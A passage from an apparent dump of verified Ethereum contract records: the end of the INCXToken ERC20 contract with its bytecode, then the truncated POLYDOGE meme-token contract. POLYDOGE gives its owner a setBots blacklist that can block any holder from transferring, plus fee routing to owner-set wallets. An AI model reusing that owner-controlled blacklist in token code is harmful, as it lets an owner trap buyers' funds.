* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
event MintResumed();
bool public mintingFinished = false;
uint256 public maxSupply;
function MintableToken(uint256 _maxSupply) public {
require(_maxSupply > 0);
maxSupply = _maxSupply;
}
modifier canMint() {
require(!mintingFinished);
_;
}
modifier isWithinLimit(uint256 amount) {
require((totalSupply_.add(amount)) <= maxSupply);
_;
}
modifier canNotMint() {
require(mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint isWithinLimit(_amount) public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
/**
* @dev Function to resume minting new tokens.
* @return True if the operation was successful.
*/
function resumeMinting() onlyOwner canNotMint public returns (bool) {
mintingFinished = false;
emit MintResumed();
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = true;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title INCXToken
* @dev This is a standard ERC20 token
*/
contract INCXToken is BurnableToken, PausableToken, MintableToken {
string public constant name = "INCX Coin";
string public constant symbol = "INCX";
uint64 public constant decimals = 18;
uint256 public constant maxLimit = 1000000000 * 10**uint(decimals);
function INCXToken()
public
MintableToken(maxLimit)
{
}
} | 0x606060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461013857806306fdde0314610165578063095ea7b3146101f357806318160ddd1461024d5780631a861d261461027657806323b872dd1461029f578063313ce567146103185780633f4ba83a1461035557806340c10f191461036a57806342966c68146103c457806359ae340e146103e75780635c975abb14610414578063661884631461044157806370a082311461049b5780637d64bcb4146104e85780638456cb59146105155780638da5cb5b1461052a57806395d89b411461057f578063a9059cbb1461060d578063d5abeb0114610667578063d73dd62314610690578063dd62ed3e146106ea578063f2fde38b14610756575b600080fd5b341561014357600080fd5b61014b61078f565b604051808215151515815260200191505060405180910390f35b341561017057600080fd5b6101786107a2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b857808201518184015260208101905061019d565b50505050905090810190601f1680156101e55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101fe57600080fd5b610233600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107db565b604051808215151515815260200191505060405180910390f35b341561025857600080fd5b61026061080b565b6040518082815260200191505060405180910390f35b341561028157600080fd5b610289610815565b6040518082815260200191505060405180910390f35b34156102aa57600080fd5b6102fe600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061082d565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b61032b61085f565b604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390f35b341561036057600080fd5b610368610864565b005b341561037557600080fd5b6103aa600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610924565b604051808215151515815260200191505060405180910390f35b34156103cf57600080fd5b6103e56004808035906020019091905050610b31565b005b34156103f257600080fd5b6103fa610ce9565b604051808215151515815260200191505060405180910390f35b341561041f57600080fd5b610427610db0565b604051808215151515815260200191505060405180910390f35b341561044c57600080fd5b610481600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610dc3565b604051808215151515815260200191505060405180910390f35b34156104a657600080fd5b6104d2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610df3565b6040518082815260200191505060405180910390f35b34156104f357600080fd5b6104fb610e3b565b604051808215151515815260200191505060405180910390f35b341561052057600080fd5b610528610f03565b005b341561053557600080fd5b61053d610fc4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561058a57600080fd5b610592610fea565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561061857600080fd5b61064d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611023565b604051808215151515815260200191505060405180910390f35b341561067257600080fd5b61067a611053565b6040518082815260200191505060405180910390f35b341561069b57600080fd5b6106d0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611059565b604051808215151515815260200191505060405180910390f35b34156106f557600080fd5b610740600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611089565b6040518082815260200191505060405180910390f35b341561076157600080fd5b61078d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611110565b005b600360159054906101000a900460ff1681565b6040805190810160405280600981526020017f494e435820436f696e000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156107f957600080fd5b6108038383611268565b905092915050565b6000600154905090565b601267ffffffffffffffff16600a0a633b9aca000281565b6000600360149054906101000a900460ff1615151561084b57600080fd5b61085684848461135a565b90509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108c057600080fd5b600360149054906101000a900460ff1615156108db57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561098257600080fd5b600360159054906101000a900460ff1615151561099e57600080fd5b816004546109b78260015461171490919063ffffffff16565b111515156109c457600080fd5b6109d98360015461171490919063ffffffff16565b600181905550610a30836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171490919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885846040518082815260200191505060405180910390a28373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b8057600080fd5b339050610bd4826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173290919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c2b8260015461173290919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4757600080fd5b600360159054906101000a900460ff161515610d6257600080fd5b6000600360156101000a81548160ff0219169083151502179055507f97d1aa06c53d73d8ae67f8b0b3e9774c166804b930db4bc2768590409b1e172660405160405180910390a16001905090565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610de157600080fd5b610deb838361174b565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e9957600080fd5b600360159054906101000a900460ff16151515610eb557600080fd5b6001600360156101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f5f57600080fd5b600360149054906101000a900460ff16151515610f7b57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f494e43580000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff1615151561104157600080fd5b61104b83836119dc565b905092915050565b60045481565b6000600360149054906101000a900460ff1615151561107757600080fd5b6110818383611bfb565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561116c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156111a857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561139757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113e457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561146f57600080fd5b6114c0826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611553826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061162482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080828401905083811015151561172857fe5b8091505092915050565b600082821115151561174057fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561185c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118f0565b61186f838261173290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611a1957600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611a6657600080fd5b611ab7826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b4a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611c8c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360019050929150505600a165627a7a723058201e3a8835380a7cb68dc4818e2809db81792b3b3e360e3dc75b198e1981eecf110029 | {"success": true, "error": null, "results": {}} | 9,993 |
0xb30c3d17d7249bb1be1743f1b5ce7d0c89c9c645 | // SPDX-License-Identifier: Unlicensed
//
// t.me/dogecoinpolytopiaERC
//: Website coming soon
//: DOGECOIN POLYTOPIA
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract POLYDOGE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string public constant _name = "Dogecoin Polytopia";
string public constant _symbol = "PolyDoge";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1 * 10**12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
